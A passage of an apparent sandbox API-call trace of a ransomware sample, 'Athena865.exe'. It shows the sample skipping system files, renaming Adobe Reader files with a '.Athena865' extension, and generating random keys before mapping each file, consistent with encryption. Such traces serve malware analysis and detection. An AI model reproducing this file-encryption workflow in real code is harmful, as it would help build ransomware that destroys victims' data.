[0092.586] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0092.586] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518ef8 | out: hHeap=0x4f0000) returned 1 [0092.586] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0092.586] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4274, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ReadMeHUN.htm", cAlternateFileName="RE50AF~1.HTM")) returned 1 [0092.586] lstrcmpiW (lpString1="ReadMeHUN.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.586] lstrcmpiW (lpString1="ReadMeHUN.htm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.587] lstrcmpiW (lpString1="ReadMeHUN.htm", lpString2=".") returned 1 [0092.587] lstrcmpiW (lpString1="ReadMeHUN.htm", lpString2="..") returned 1 [0092.587] lstrcmpiW (lpString1="ReadMeHUN.htm", lpString2="windows") returned -1 [0092.587] lstrcmpiW (lpString1="ReadMeHUN.htm", lpString2="bootmgr") returned 1 [0092.587] lstrcmpiW (lpString1="ReadMeHUN.htm", lpString2="temp") returned -1 [0092.587] lstrcmpiW (lpString1="ReadMeHUN.htm", lpString2="pagefile.sys") returned 1 [0092.587] lstrcmpiW (lpString1="ReadMeHUN.htm", lpString2="boot") returned 1 [0092.587] lstrcmpiW (lpString1="ReadMeHUN.htm", lpString2="ids.txt") returned 1 [0092.587] lstrcmpiW (lpString1="ReadMeHUN.htm", lpString2="ntuser.dat") returned 1 [0092.587] lstrcmpiW (lpString1="ReadMeHUN.htm", lpString2="perflogs") returned 1 [0092.587] lstrcmpiW (lpString1="ReadMeHUN.htm", lpString2="MSBuild") returned 1 [0092.587] lstrlenW (lpString="ReadMeHUN.htm") returned 13 [0092.587] lstrcpyW (in: lpString1=0x241e89a, lpString2="ReadMeHUN.htm" | out: lpString1="ReadMeHUN.htm") returned="ReadMeHUN.htm" [0092.587] lstrlenW (lpString="ReadMeHUN.htm") returned 13 [0092.587] lstrlenW (lpString="Athena865") returned 9 [0092.587] lstrcmpiW (lpString1="MeHUN.htm", lpString2="Athena865") returned 1 [0092.587] lstrlenW (lpString=".dll") returned 4 [0092.587] lstrcmpiW (lpString1="ReadMeHUN.htm", lpString2=".dll") returned 1 [0092.587] lstrlenW (lpString=".lnk") returned 4 [0092.587] lstrcmpiW (lpString1="ReadMeHUN.htm", lpString2=".lnk") returned 1 [0092.587] lstrlenW (lpString=".ini") returned 4 [0092.587] lstrcmpiW (lpString1="ReadMeHUN.htm", lpString2=".ini") returned 1 [0092.587] lstrlenW (lpString=".sys") returned 4 [0092.587] lstrcmpiW (lpString1="ReadMeHUN.htm", lpString2=".sys") returned 1 [0092.587] lstrlenW (lpString="ReadMeHUN.htm") returned 13 [0092.587] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm.Athena865") returned 64 [0092.587] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmehun.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmehun.htm.athena865"), dwFlags=0x1) returned 1 [0092.588] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmehun.htm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0092.588] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17012) returned 1 [0092.588] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0092.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0092.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518ef8 [0092.589] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518e70) returned 1 [0092.589] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0092.590] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.590] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4580, lpName=0x0) returned 0x17c [0092.591] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4580) returned 0x100000 [0092.593] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518e70) returned 1 [0092.593] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0092.593] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.593] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0092.593] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0092.594] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0092.594] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0092.594] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.594] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0092.594] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0092.594] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0092.594] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.594] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0092.594] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0092.594] CloseHandle (hObject=0x17c) returned 1 [0092.594] CloseHandle (hObject=0x154) returned 1 [0092.594] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0092.594] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518ef8 | out: hHeap=0x4f0000) returned 1 [0092.594] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0092.595] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17b8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ReadMeJ.htm", cAlternateFileName="")) returned 1 [0092.595] lstrcmpiW (lpString1="ReadMeJ.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.595] lstrcmpiW (lpString1="ReadMeJ.htm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.595] lstrcmpiW (lpString1="ReadMeJ.htm", lpString2=".") returned 1 [0092.595] lstrcmpiW (lpString1="ReadMeJ.htm", lpString2="..") returned 1 [0092.595] lstrcmpiW (lpString1="ReadMeJ.htm", lpString2="windows") returned -1 [0092.595] lstrcmpiW (lpString1="ReadMeJ.htm", lpString2="bootmgr") returned 1 [0092.595] lstrcmpiW (lpString1="ReadMeJ.htm", lpString2="temp") returned -1 [0092.595] lstrcmpiW (lpString1="ReadMeJ.htm", lpString2="pagefile.sys") returned 1 [0092.595] lstrcmpiW (lpString1="ReadMeJ.htm", lpString2="boot") returned 1 [0092.595] lstrcmpiW (lpString1="ReadMeJ.htm", lpString2="ids.txt") returned 1 [0092.595] lstrcmpiW (lpString1="ReadMeJ.htm", lpString2="ntuser.dat") returned 1 [0092.595] lstrcmpiW (lpString1="ReadMeJ.htm", lpString2="perflogs") returned 1 [0092.595] lstrcmpiW (lpString1="ReadMeJ.htm", lpString2="MSBuild") returned 1 [0092.595] lstrlenW (lpString="ReadMeJ.htm") returned 11 [0092.595] lstrcpyW (in: lpString1=0x241e89a, lpString2="ReadMeJ.htm" | out: lpString1="ReadMeJ.htm") returned="ReadMeJ.htm" [0092.595] lstrlenW (lpString="ReadMeJ.htm") returned 11 [0092.595] lstrlenW (lpString="Athena865") returned 9 [0092.595] lstrcmpiW (lpString1="adMeJ.htm", lpString2="Athena865") returned -1 [0092.595] lstrlenW (lpString=".dll") returned 4 [0092.595] lstrcmpiW (lpString1="ReadMeJ.htm", lpString2=".dll") returned 1 [0092.595] lstrlenW (lpString=".lnk") returned 4 [0092.595] lstrcmpiW (lpString1="ReadMeJ.htm", lpString2=".lnk") returned 1 [0092.595] lstrlenW (lpString=".ini") returned 4 [0092.596] lstrcmpiW (lpString1="ReadMeJ.htm", lpString2=".ini") returned 1 [0092.596] lstrlenW (lpString=".sys") returned 4 [0092.596] lstrcmpiW (lpString1="ReadMeJ.htm", lpString2=".sys") returned 1 [0092.596] lstrlenW (lpString="ReadMeJ.htm") returned 11 [0092.596] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm.Athena865") returned 62 [0092.596] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmej.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmej.htm.athena865"), dwFlags=0x1) returned 1 [0092.597] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmej.htm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0092.597] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6072) returned 1 [0092.597] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0092.597] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0092.597] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518ef8 [0092.597] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518e70) returned 1 [0092.598] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0092.598] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.598] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ac0, lpName=0x0) returned 0x17c [0092.599] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ac0) returned 0x100000 [0092.600] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518e70) returned 1 [0092.601] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0092.601] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.601] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0092.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0092.601] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0092.601] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0092.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.601] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0092.601] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0092.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0092.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0092.602] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0092.602] CloseHandle (hObject=0x17c) returned 1 [0092.602] CloseHandle (hObject=0x154) returned 1 [0092.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0092.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518ef8 | out: hHeap=0x4f0000) returned 1 [0092.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0092.602] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4090, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ReadMeK.htm", cAlternateFileName="")) returned 1 [0092.602] lstrcmpiW (lpString1="ReadMeK.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.602] lstrcmpiW (lpString1="ReadMeK.htm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.602] lstrcmpiW (lpString1="ReadMeK.htm", lpString2=".") returned 1 [0092.602] lstrcmpiW (lpString1="ReadMeK.htm", lpString2="..") returned 1 [0092.602] lstrcmpiW (lpString1="ReadMeK.htm", lpString2="windows") returned -1 [0092.603] lstrcmpiW (lpString1="ReadMeK.htm", lpString2="bootmgr") returned 1 [0092.603] lstrcmpiW (lpString1="ReadMeK.htm", lpString2="temp") returned -1 [0092.603] lstrcmpiW (lpString1="ReadMeK.htm", lpString2="pagefile.sys") returned 1 [0092.603] lstrcmpiW (lpString1="ReadMeK.htm", lpString2="boot") returned 1 [0092.603] lstrcmpiW (lpString1="ReadMeK.htm", lpString2="ids.txt") returned 1 [0092.603] lstrcmpiW (lpString1="ReadMeK.htm", lpString2="ntuser.dat") returned 1 [0092.603] lstrcmpiW (lpString1="ReadMeK.htm", lpString2="perflogs") returned 1 [0092.603] lstrcmpiW (lpString1="ReadMeK.htm", lpString2="MSBuild") returned 1 [0092.603] lstrlenW (lpString="ReadMeK.htm") returned 11 [0092.603] lstrcpyW (in: lpString1=0x241e89a, lpString2="ReadMeK.htm" | out: lpString1="ReadMeK.htm") returned="ReadMeK.htm" [0092.603] lstrlenW (lpString="ReadMeK.htm") returned 11 [0092.603] lstrlenW (lpString="Athena865") returned 9 [0092.603] lstrcmpiW (lpString1="adMeK.htm", lpString2="Athena865") returned -1 [0092.603] lstrlenW (lpString=".dll") returned 4 [0092.603] lstrcmpiW (lpString1="ReadMeK.htm", lpString2=".dll") returned 1 [0092.603] lstrlenW (lpString=".lnk") returned 4 [0092.603] lstrcmpiW (lpString1="ReadMeK.htm", lpString2=".lnk") returned 1 [0092.603] lstrlenW (lpString=".ini") returned 4 [0092.603] lstrcmpiW (lpString1="ReadMeK.htm", lpString2=".ini") returned 1 [0092.603] lstrlenW (lpString=".sys") returned 4 [0092.603] lstrcmpiW (lpString1="ReadMeK.htm", lpString2=".sys") returned 1 [0092.603] lstrlenW (lpString="ReadMeK.htm") returned 11 [0092.603] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm.Athena865") returned 62 [0092.603] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmek.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmek.htm.athena865"), dwFlags=0x1) returned 1 [0092.606] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmek.htm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0092.606] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16528) returned 1 [0092.606] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0092.606] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0092.606] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518ef8 [0092.606] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518e70) returned 1 [0092.607] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0092.607] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.607] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4390, lpName=0x0) returned 0x17c [0092.609] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4390) returned 0x100000 [0092.612] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518e70) returned 1 [0092.613] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0092.613] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.613] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0092.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0092.613] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0092.613] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0092.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.613] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0092.614] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0092.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0092.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0092.614] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0092.614] CloseHandle (hObject=0x17c) returned 1 [0092.614] CloseHandle (hObject=0x154) returned 1 [0092.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0092.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518ef8 | out: hHeap=0x4f0000) returned 1 [0092.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0092.615] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4444, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ReadMePOL.htm", cAlternateFileName="RECE99~1.HTM")) returned 1 [0092.615] lstrcmpiW (lpString1="ReadMePOL.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.615] lstrcmpiW (lpString1="ReadMePOL.htm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.615] lstrcmpiW (lpString1="ReadMePOL.htm", lpString2=".") returned 1 [0092.615] lstrcmpiW (lpString1="ReadMePOL.htm", lpString2="..") returned 1 [0092.615] lstrcmpiW (lpString1="ReadMePOL.htm", lpString2="windows") returned -1 [0092.615] lstrcmpiW (lpString1="ReadMePOL.htm", lpString2="bootmgr") returned 1 [0092.615] lstrcmpiW (lpString1="ReadMePOL.htm", lpString2="temp") returned -1 [0092.615] lstrcmpiW (lpString1="ReadMePOL.htm", lpString2="pagefile.sys") returned 1 [0092.615] lstrcmpiW (lpString1="ReadMePOL.htm", lpString2="boot") returned 1 [0092.615] lstrcmpiW (lpString1="ReadMePOL.htm", lpString2="ids.txt") returned 1 [0092.615] lstrcmpiW (lpString1="ReadMePOL.htm", lpString2="ntuser.dat") returned 1 [0092.615] lstrcmpiW (lpString1="ReadMePOL.htm", lpString2="perflogs") returned 1 [0092.615] lstrcmpiW (lpString1="ReadMePOL.htm", lpString2="MSBuild") returned 1 [0092.615] lstrlenW (lpString="ReadMePOL.htm") returned 13 [0092.615] lstrcpyW (in: lpString1=0x241e89a, lpString2="ReadMePOL.htm" | out: lpString1="ReadMePOL.htm") returned="ReadMePOL.htm" [0092.615] lstrlenW (lpString="ReadMePOL.htm") returned 13 [0092.615] lstrlenW (lpString="Athena865") returned 9 [0092.615] lstrcmpiW (lpString1="MePOL.htm", lpString2="Athena865") returned 1 [0092.615] lstrlenW (lpString=".dll") returned 4 [0092.615] lstrcmpiW (lpString1="ReadMePOL.htm", lpString2=".dll") returned 1 [0092.615] lstrlenW (lpString=".lnk") returned 4 [0092.615] lstrcmpiW (lpString1="ReadMePOL.htm", lpString2=".lnk") returned 1 [0092.615] lstrlenW (lpString=".ini") returned 4 [0092.615] lstrcmpiW (lpString1="ReadMePOL.htm", lpString2=".ini") returned 1 [0092.615] lstrlenW (lpString=".sys") returned 4 [0092.615] lstrcmpiW (lpString1="ReadMePOL.htm", lpString2=".sys") returned 1 [0092.615] lstrlenW (lpString="ReadMePOL.htm") returned 13 [0092.615] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm.Athena865") returned 64 [0092.616] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmepol.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmepol.htm.athena865"), dwFlags=0x1) returned 1 [0092.616] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmepol.htm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0092.617] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17476) returned 1 [0092.617] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0092.617] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0092.617] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518ef8 [0092.617] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518e70) returned 1 [0092.618] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0092.618] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.618] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4750, lpName=0x0) returned 0x17c [0092.620] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4750) returned 0x100000 [0092.624] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518e70) returned 1 [0092.624] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0092.624] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0092.624] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0092.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0092.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0092.624] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.625] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0092.625] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0092.625] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0092.625] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.625] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0092.625] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0092.625] CloseHandle (hObject=0x17c) returned 1 [0092.625] 